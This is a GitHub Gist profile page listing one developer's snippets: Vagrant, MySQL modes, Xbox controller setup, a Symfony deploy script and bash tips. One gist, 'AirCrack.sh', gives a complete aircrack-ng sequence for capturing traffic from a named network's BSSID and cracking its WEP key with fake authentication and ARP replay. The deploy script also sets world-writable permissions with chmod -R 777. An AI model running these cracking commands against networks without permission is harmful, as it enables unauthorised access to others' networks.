Skip to content

Instantly share code, notes, and snippets.

View Telematica's full-sized avatar

Héctor Cerón Figueroa Telematica

View GitHub Profile
@Telematica
Telematica / VagrantSetup.MD
Last active June 10, 2018 22:52
Vagrant Setup Sample

Test

Vagrantfile

@Telematica
Telematica / AirCrack.sh
Created March 23, 2017 04:58
AirCrack Commands
#1st Step
airmon-ng stop wlan0
airmon-ng start wlan0
airodump-ng mon0
#2nd Step
sudo airodump-ng -c 6 --bssid B4:75:0E:1A:69:8F -w captura mon0
sudo aireplay-ng -1 0 -e Netcommerce -a B4:75:0E:1A:69:8F -h 11:22:33:44:55:66 mon0
sudo aireplay-ng -3 -b B4:75:0E:1A:69:8F -h 11:22:33:44:55:66 mon0
aircrack-ng -z *.cap
@Telematica
Telematica / my.md
Last active June 10, 2018 22:51
MySQL Server SQL Modes

MySQL Server SQL Modes

Reference Topic:

Add Mode Settings Via Command line

SET sql_mode = "ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION";

Add Mode Settings Via Config file

Ubuntu 16.04: /etc/mysql/mysql.conf.d/mysqld.cnf

@Telematica
Telematica / xbox-ubuntu.sh
Created October 15, 2017 21:51
XBOX 360 Controller on Ubuntu
#Install: Open a terminal window and run:
sudo apt-get install xboxdrv -y
#Usage: Open a terminal window and run:
sudo rmmod xpad
sudo xboxdrv --mouse
#https://github.com/xboxdrv/xboxdrv
#http://www.omgubuntu.co.uk/2013/07/dealing-with-xbox-controllers-in-ubuntu
#Source: http://xubuntugeek.blogspot.mx/2012/07/how-to-use-xbox-360-controller-as-mouse.html
@Telematica
Telematica / PstormTricks.md
Created December 7, 2017 17:54
PHP Storm Tricks
@Telematica
Telematica / mac-utils.md
Last active June 10, 2018 22:47
MacOS Packages (PHP Development Environment)
@Telematica
Telematica / .0 - MyUtils.md
Last active September 5, 2024 05:32
POSIX Utility Scripts for Mac OSX, Linux & Unix-like. Terminal Profiles and Utilities (bash, vim...)

POSIX Utility Scripts for Mac OSX, Linux & Unix-like.

Features:

  • Terminal Profiles and Utilities (bash, vim...)
  • Personal Scripts
@Telematica
Telematica / VSCODE.md
Last active November 27, 2022 03:14
Visual Studio Code Tricks
@Telematica
Telematica / deploy.sh
Created July 12, 2019 01:21
Symfony 2 deployment commands
php app/console assets:install --symlink web && php app/console cache:clear --env=prod && php app/console cache:warmup --env=prod && chmod -R 777 ./app/cache && php app/console assetic:dump --env=prod && php app/console cache:warmup --env=prod
php app/console assets:install --symlink web; php app/console cache:clear --env=prod; php app/console cache:warmup --env=prod; chmod -R 777 ./app/cache; php app/console assetic:dump --env=prod; php app/console cache:warmup --env=prod
@Telematica
Telematica / 0 - BashTricks.md
Last active September 7, 2022 23:16
Bash Tricks (Linux, MacOS, Unix-like)

Linux / Bash Tricks and Tips for the Evil Genius

  • UsingTerminalAsCalculator.sh - Because sometimes Terminal is the only way to go.
  • ChangeTerminalShell.sh - To update your account to use zsh, please run chsh -s /bin/zsh